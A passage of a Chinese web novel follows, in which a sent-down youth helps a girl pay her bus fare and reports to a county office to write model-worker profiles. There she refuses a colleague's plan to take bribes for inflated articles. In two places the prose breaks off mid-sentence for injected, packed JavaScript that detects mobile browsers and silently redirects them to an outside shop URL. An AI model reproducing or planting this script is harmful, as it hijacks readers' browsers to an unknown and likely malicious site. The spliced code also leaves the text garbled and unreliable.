这几年,二姐常给她汇钱,工作几年了,一块手表都没舍得买。这次,她预计在县城里工作两个月,抛开花销,一个月存20,再加上苏清溪赔的50,二姐上个月寄给她的20,到了8月底,她就能有110块余钱。 回家的火车票8.2元,来回就是16.4元,还剩83.6块钱,梅花牌的手表是86块钱,她这两月再节省一点,就可以买一支手表送给二姐当贺礼。 还要再凑6块钱,给大姐家的昕昕买一条裙子,她正算着,就听见前头有争吵声。 抬头一看,见一个穿着蓝褂子、黑裤子、黑布鞋,有些瘦削的姑娘,泪眼汪汪地道:“同志,我真是钱掉了,不是骗你的,我出门的时候,我爸给了我八块钱,我有急事要去县医院,我回来再补上可不可以?” 售票员把她上下打量了一下,冷笑道:“同志,要是每个人都像你一样,我们怕是连口水都喝不上,我也不想说难听话,你自己下去!” 那姑娘年纪不大,看着19、20的样子,闻言脸上又红又白的,还是忍着羞耻,再次开口道:“同志,我大姑在医院里,吊着一口气,家里接了信,让我去见她最后一面,我走了一个多小时才到公社……” 售货员打断了她的话,“别说这些没用的,车票4毛钱,”说着,朝她伸出了手。 她的手很好看,像葱段一样,白白嫩嫩的。 可是现在,没钱乘车的小姑娘望着这满是逼迫意味的手,眼泪“啪”地掉了下来,“大姐,你行行好,我回头一定补给你,我姑父在县里工作,我和他要钱给你补上。” 售货员冷哼了声,不耐烦地道:“你这样的,我见得多了,快走,别耽误了车上的人。” 车上也有人帮腔道:“哎呀,坐车肯定要给钱的,小姑娘,你没钱就下去吧,二三十里路,走几个小时也就到了,没得占这个便宜。” “就是,我还赶着去商场买衬衫呢,去迟了,抢不到怎么办?” “这姑娘真是的,舍不得钱,又不想出脚力,天下哪有这么便宜的事?” 大家你一言我一语的,都在劝着姑娘下车,那姑娘却倔得很,即便又羞又气,却怎么也不挪步子。 一个人站在车厢门口,缩着肩膀,有些绝望地哭道:“我真得赶着去见大姑一面,去迟了,就见不到了。”她似乎急得有些语无伦次,“为什么钱丢了,为什么单单就我的钱丢了,大姑,大姑……” 前头售货员已经冷了脸,“哎,你这姑娘,要嚎回家嚎去,在我们车上嚎什么啊?”起身动手把人往车下推,斥骂道:“你一个小姑娘,脸皮怎么这么厚?不花钱就想坐车?真是美得你……” 李南书看不过眼,站了起来,伸手拦住售票员,“大姐,我替她付吧。”说着,递了一块钱过去。 售货员瞟了一眼李南书,立即把钱接了过来,麻溜地找了她6毛钱,缓了脸色道:“同志,我也不是故意为难人,这车票钱,她要不出,回头就得从我工资里扣,我跟车一天,磨破了嘴皮子,也没个一两块钱。” 李南书点头,“是,大家都不容易。” 姑娘咬着下唇,没吱声。 李南书拉着她到旁边坐下,姑娘擦了眼泪,抽噎着道:“我真的带了钱,我妈给我缝了一个小布包,我就放在口袋里,可是丢了,我去见大姑的,竟然把车钱丢了,要是赶不上见大姑……” 她越说越委屈,眼泪像断了线的珠子一样。 李南书拍了拍她的后背,“没事,没事,大家都有不小心的时候。”又把剩下的6毛钱递给她,“这个你拿着,回头坐车用。” 姑娘忙推辞,“不用,不用,我姑父会给我的,每回我去,他都给我钱。” 等车开起来,姑娘的情绪也稳定下来了,说她是盛湖大队的,叫姚安安,问李南书叫什么。 “北山大队的知青,李南书。” 姚安安念了几遍她的名字,像是要记住一样,等到快下车的时候,握着李南书的手道:“南书姐姐,真的很感谢你,你不知道,这趟车对我有多么重要,”说到这里,眼泪又掉了下来,“南书姐姐,我一定会还你钱的。” 李南书帮她擦了一下眼泪,“没事,安安,你不用放在心上。也有人这样帮助过我。” 姚安安却坚持道:“我爸说,做人要讲良心,你好心帮我,我不能坑你的钱。” 李南书笑笑,“安安,那祝你好运,也希望你家人的身体早点好起来。” 姚安安的眼睛暗了一下,勉强笑着和李南书挥了挥手。 李南书看她走了,才转身。上一世,她十五岁的时候,想过从养父家里逃走,出去打工,但是没有路费,她的小伙伴,那年也不过十三岁,和家里要了两百块钱塞给她。 她想,上一辈子她没有走弯路,大概就是有很多这样的人,给予了她温暖。 真好,今天她也帮一个女孩子付了车费。 她抬头望着日头,大概十一点左右了,心里又担心起来,不知道陈县长下班没有? ** 等她到了县政府,却意外地从门卫口里得知陈副县长没来上班,李南书人都懵了,“师傅,什么叫没来上班啊?”这一瞬间,她脑海里划过好几种可能,被带走了?出事了? 门卫师傅笑道:“你昨儿上午来,还能找到人,他家里出了急事,请了几天的假。” 李南书顿时急了,“那可怎么办?我们公社书记让我今天来报道的。”副县长可以请假,采访的事不会耽搁啊,要是不能准时报道…… 门卫看她大包小包的,又说是来采访的,想了一下,道:“姑娘,你等着,我去帮你看看方秘书还在不在。” “师傅,麻烦您了!” 门卫师傅摆了摆手,“不算什么事。” 李南书站在门口,心里有点着急,这个工作要是没了,她可没法凑钱给二姐买手表了。要是一份像样的贺礼都拿不出手,哥姐几个肯定又觉得她在乡下过得差。 在李南书的翘首以盼中,门卫带着一个男同志过来,远远地和她招呼道:“哎,姑娘,这是陈县长的秘书。” “你好,我叫方建宏,是陈涛副县长的秘书,”对方年龄不大,大概二十五六岁的样子,很热情地作了自我介绍。 问了李南书的情况,又看了她的介绍信,笑道:“这事我知道,陈县长和我打过招呼,李南书同志是吧?我先带你去宿舍住下。” 李南书松了口气。 路上方建宏接过她的行李,笑道:“李同志,你这行李可真不轻,也难为你一个女同志从东门车站背到这来。” 李南书道:“还好,地里农活做惯了,也能背得动。不怕您笑话,这回能来写稿子,我还庆幸着,不用顶着日头去地里拔草了。” 方建宏笑道:“是,热暑天干活,磨人的很,这么说来,李同志运气还不错?” 李南书点头,“是挺好的。”这么一会儿,李南书看出来,这个秘书人还挺好的,就向她打听起这次采访任务来。 方建宏和她道,这次采访劳模的活动,县里共组织了12位记者,她是最后一个来报道的。 李南书又问了下奖金的事,方建宏笑道:“三等奖20块钱,二等奖30,一等奖50块钱,外加一些毛巾、水杯、暖水壶之类的奖品。” 李南书心里微微一动,不说50,就是拿三等奖,给昕昕买裙子的钱也够了。 俩人聊着,就走到了县政府西边的宿舍,两排房子,从外面看着还挺整洁的,十平米一间,住两个人。 方建宏笑道:“李同志,前面第二个就是。” 宿舍已经住进了一个女记者,叫卫思琴,是县里的常驻记者,年龄大概在二十七八岁,穿着一件淡绿色碎花衬衫,卡其色的裤子,一双小辫子搭在肩膀上,看着俏皮得很。 方建宏给两人介绍了一下,又和卫思琴道:“卫同志,李同志是第一次来,很多事情不熟悉,你多关照一点。” 卫思琴笑道:“那是自然,方同志,你尽管放心。”当下就和李南书说起热水、食堂的地址,又告诉她纸笔在哪里领取,事无巨细的。 方建宏笑道:“行,那你们先聊着,回头要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16117860|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有事,再来找我。” 卫思琴忙拿了一袋子大白兔奶糖塞给他,方建宏连忙摆手,连说着“可使不得,”快步走掉了。 卫思琴望着他的背影笑道:“小方来两年了,脸皮还这么薄”,又从箱子里掏出一盒子饼干来,招呼李南书,“小李,赶了一上午路,饿了吧,你先垫补点,一会我带你去食堂吃。” 李南书看是奶油夹心饼干,忙道:“谢谢卫姐,我还带着山芋干,这饼干看着就贵,我都不敢拿。” 卫思琴见她识货,脸上现出几分笑意来,“这是我家里从京市给我带的,平常我也舍不得吃,这次来县里才带上。”拿了一块,塞到了李南书手里,“我不是小气的人,来,尝尝味道。” 李南书尝了一口,客气道:“香香甜甜的,挺好吃的。” 卫思琴笑道:“你这人,会说话,不讨人厌,不像隔壁的。”说着,朝隔壁翻了个白眼,又问道:“哎,小李,你是工业组、管理组还是农业组?” 李南书有点懵,“怎么还分组啊?” 卫思琴见她一点不知道,觑了她一眼,“怎么不分?管理组就是采访领导岗位的劳模,像厂长、副厂长、总工这些,工业组是厂里的工人劳模,农业组就是去采访农民,你来得迟,怕是也没得挑。” 李南书心里隐约明白了一点,有些不确定地问道:“不都是劳模吗?” 卫思琴鄙夷地看了她一眼,“小李,别怪我笑话你,你真是一点门路都没摸,就跑到这县里来了,你原先是干什么的?” “下乡知青,公社的临时通讯员,写写稿子,出出简报。” “哦,明白了,一穷二白的出身。” 在卫思琴委婉的解释下,李南书明白自己没有多想,确实是因为油水不一样。 “哎呀,小李,你回头活络一点,和方秘书多套套近乎,让他分给你一个好点的采访对象,至少是工厂里的,别的不说,什么布票、罐头,肯定能塞你一点,也不枉你来这一趟。” 李南书已经听得瞠目结舌,卫思琴还在继续道:“你也别不好意思收,咱们辛苦写稿子,收点润笔钱不算什么,再说咱们把他们写好点,回头他们肯定也能升职、拿荣誉,两边都不亏!” 李南书忽然觉察出不对来,如果是真的劳模,为什么要贿赂她们? 如果不是真的劳模,那她们的稿子不就是在造假吗?什么人会需要把自己造假成劳模? 她心里一跳,试探着问道:“卫姐,我们也不能乱写啊?万一市里派人来核实怎么办?” 卫思琴吃着饼干,毫不在意地道:“没事的,这事不是第一回了,你放心大胆拿。”又抬眼问着她道:“小李,你是高中毕业下乡的吧,能混到县里来写稿子,没点能力,可上不来。” 李南书如实道:“不是,卫姐,我初中毕业就来了。” 卫思琴笑了一下,“那你这记者的水分怕是和我一样,有点大哦!哎呀,刚方建宏领你来,我还紧张了一下,怕真来个能干的。” 越能干的人,越有脾气,也可以说是牛性,卫思琴觉得像小李这样,没学历没背景的,凡事都好商量。这次好几个人托她从中介绍,找帮忙润稿子的,小李倒是可以发展一下。 李南书笑笑,没有接这话茬,只道:“卫姐,我笨得很,压根不知道取巧的写法,怕是只能老老实实地交一篇稿子出来。” 这是委婉地拒绝和她合伙。 卫思琴嗤笑了一声,“小李,我知道你的想法,我刚开始也是你这么想的,你在这待一段时间就知道了。” 李南书没再和她玩笑,正色道:“不会,卫姐,我不会改变想法。”不说上一世,她就是在社会善的合力下,才能够顺利读到大学,就是这一世,她爸妈、哥姐,都教她“勿以善小而不为,勿以恶小而为之。” 她不会成为任何人的“帮闲”,她的笔也没法写出歌颂贪污、腐败、揽功分子的话来。 卫思琴见她态度明确,微微愣了一下,淡声道:“小李,你还挺聪明的。只不过……”她拖长了音调道:“过于有想法,可不是什么好事,况且你不过是初中毕业来插队的知青。” 14. 第 14 章 因着上午和卫思琴聊得不愉快,两个人再无交流。 卫思琴笃定李南书一个没背景没学历的穷知青,刚来县里,两眼一抹黑,迟早求到自个跟前来,是以,她一点都不着急,看着李南书折腾。 李南书却忙碌得很,把床铺收拾好,又把柜子里里外外打扫了一遍,下午就跑去找方建宏,问他有没有以往的采访资料。 方建宏听她说完,就站了起来,情绪像是有些激动。 李南书忙道:“方秘书,我知道你工作比较忙,要是太麻烦,就算了,你不用为难。” 方建宏没回她,转身就从柜子里搬了一摞材料出来,“李记者,你看看,这些行不行?” 李南书惊了一下,有报纸、书刊、年鉴,足足有半人高,由衷地夸道,“方秘书,你的工作做得太细致了,以后肯定能步步高升。” 方建宏脸上露出点笑意,“借你吉言,这些我早就准备好了,一直没有人来要,我都以为这些没有用武之地了,可算把你等来了。”又道:“这有点多,我帮你搬过去吧!” 卫思琴正在宿舍描眉,看到李南书带着方建宏过来,立即把小镜子合在了桌面上,“哎呦,方秘书,什么风把你吹来了?” 方建宏把报纸放到了桌子上,笑道:“给李记者搬点资料,行,那你们先忙着,我走了哈!”又转身和李南书道:“李同志,要是还缺什么东西,尽管来找我,不用客气。” “好,谢谢方秘书,今天真是太麻烦你了。” 方建宏摇摇手,“没事,没事。”又朝她笑道:“真的,我很高兴能帮得上忙。对了,明天的培训,八点开始,别忘记了。” 卫思琴把俩人的互动看在眼里,等方建宏一走,她瞟了一眼霉灰灰的资料,抬手在鼻子跟前扇了扇,“一股霉味,哎,小李,我当你是块榆木疙瘩,不知道和方秘书套近乎呢,原来在这另辟蹊径呢!” 李南书忙着整理材料,没理会她的阴阳怪气,“卫姐,材料放我这边桌上,你要看的话,可以过来拿。” 卫思琴随手拿了一张,扫了两眼,“这都多少年前的东西了,陈词滥调的,要看你看,我可用不上。”又挖苦她道:“你是得看看,一点经验都没有的人,别回头在县里闹了笑话,传到公社去,可就难看了。” 李南书淡淡地道:“谢谢卫姐的关心,对不住,我不能和你聊了,我得抓紧时间看材料了。” 卫思琴一噎,转身接着描眉去了。 李南书把资料稍微整理了一下,按照采访技巧、撰写技巧、人物、事迹等把报纸分开存放,最后打开了渔县近些年的年鉴。虽然她来了这边好几年,但并没有在宏观上认识这座县城。 她看得渐渐有味,不觉天都黑了,卫思琴不知道什么时候出门了,李南书拿着铝制饭盒忙往食堂跑。 食堂师傅正准备收家伙什,看到她来,笑道:“哟,又来了一个,刚好还有一点粥,两个馒头。” 等前头的大姐打好了,李南书把饭盒递了过去,“师傅,一碗粥,馒头也要。” 她刚找了一个位置坐下,刚排在她前面的大姐也端着饭盒过来,笑问她道:“你就是最后一个来报道的吧?”又道:“我住你隔壁,也是这次采访劳模的记者。下午看方秘书帮你抱着一对材料回来。” 来人大概三十出头,留着齐耳短发,人有些圆润,一双眼睛很有神采,李南书忙站起来,伸手道:“您好,我是李南书。” “你好,我是孙逸宁。” 聊了一会后,李南书知道这是市里下来的记者,忙道:“那以后还麻烦孙姐多指点,我只在公社做过通讯员,还不是很懂这些。” 孙逸宁温声笑道:“你看着不大,有二十了吗?”见南书点头,接着道:“还小呢,慢慢学,来得及。我以前也不是学新闻的,我大学学的文学,你看,现在也算有点年限的记者了。” 李南书忙道:“您太谦虚了,您的业务能力肯定很好。”又补充道:“我见您第一眼,就觉得您像文化人,看起来就有气质。” 她说的是真心话,这大姐看起来就很从容的样子,必然是对自己领域的工作很有信心的。 孙逸宁被她逗笑了,“你这姑娘可真会说话,业务做熟悉了,都一样。” 隔了一会,又问道:“你和卫同志一个宿舍?你们熟吗?” 李南书摇摇头,“不熟,上午可能我说错了话,卫同志不怎么高兴。”她也没有隐瞒,看卫思琴今儿的架势,保不齐要在外头说她的坏话,她不如趁早把不合的事说开。 孙逸宁不置可否,只道:“小李同志,我托大和你叮嘱一句,你刚入行,别的都还好,只有一条要谨记,什么事都得守住底线,不能弄虚作假。”又笑道:“哎呀,你可不要嫌我啰嗦。” 李南书忙道:“怎么会,您这是作为前辈,好心给我指点呢!”她心里直觉,这位孙姐是特地来找她说这一番话的。 孙逸宁见她一点就透,笑道:“你这姑娘,真是伶俐。”又闲聊了几句,得知她是石狮公社的,笑道:“你们那儿,我也认识一个人,叫卢东樾,你认识吗?” 李南书点头,“认识,我和卢同志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16117861|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起出过简报。” “他这次来了没?” “没有,他被推荐上工农兵大学了,赶着交接工作。” 孙逸宁道:“这个小伙子能干得很,先前市里派我下来采访渔阳水库建设,卢东樾负责带队民工,单手就能把8吋水泵提起来,后来又被派去做出纳,我陪他去提过一次钱,提包里还要放一支手枪,这活可不好做。” 李南书笑道:“他是真厉害。”后面一段,倒没听卢东樾提过。现在想来,他能当上公社武装部副部长,确实是一步一个脚印,扎扎实实走出来的。 孙逸宁拍拍她的肩膀,“你也不错,这么小年纪,就被公社推荐到县里来写稿子了,要是能上大学,以后肯定走得比我们远。” “您真是谬赞。” 孙逸宁摆摆手,“没有,我看人很准的,以后要是有什么不懂的,随时来问我。” 李南书趁机就问起渔县的历史来,孙逸宁笑道:“我这算不算搬石头砸了自己的脚?”说笑过后,倒也认真地和李南书聊了起来。 ** 第二天傍晚,李南书上完培训课,刚回宿舍,就被通知有人找,忙跑到了县政府门口。 她以为是琼玉回家,顺道来看她。 不成想,门口站着的是卢东樾,颇有些意外地道:“卢同志,怎么是你?” 卢东樾笑道:“南书同志,你好像很惊讶,我是不是来的很冒昧?” 李南书忙摆手,“没有,没有,”用手指比了一下下,“确实有这么一点点意外。” 卢东樾从口袋里拿出两个信封递给她,“应该是比较急,今儿你们大队知青送到公社来,问有没有人来县里,给你捎一下。” 李南书接过来一看,一封电报纸,二姐寄来的,叮嘱她最近不要回家,年底再回去,李南书皱了皱眉,这电报怎么看着有点怪怪的? 以为信也是家里寄来的,顺手打开了,呼啦啦地掉了两张照片下来,卢东樾忙蹲下来捡好,递给李南书。 李南书接过来的瞬间,整个人都愣住了。 卢东樾见她忽然不动,忙问道:“南书同志,怎么了?”顺着她的视线看过去,就见到了一个青年的半身像,穿着白色的衬衫和黑裤子,衬衫袖子挽了一半到小臂处,剑眉星目,眼神平和地目视着前方。 卢东樾敏锐地察觉出异样来,“南书,这是?” “同学,”李南书轻声道:“好几年不见的同学,长得和以前变化不大。”她语气平静,心里却起了狂风骤雨,失联了好些年的人,怎么会忽然寄了相片来?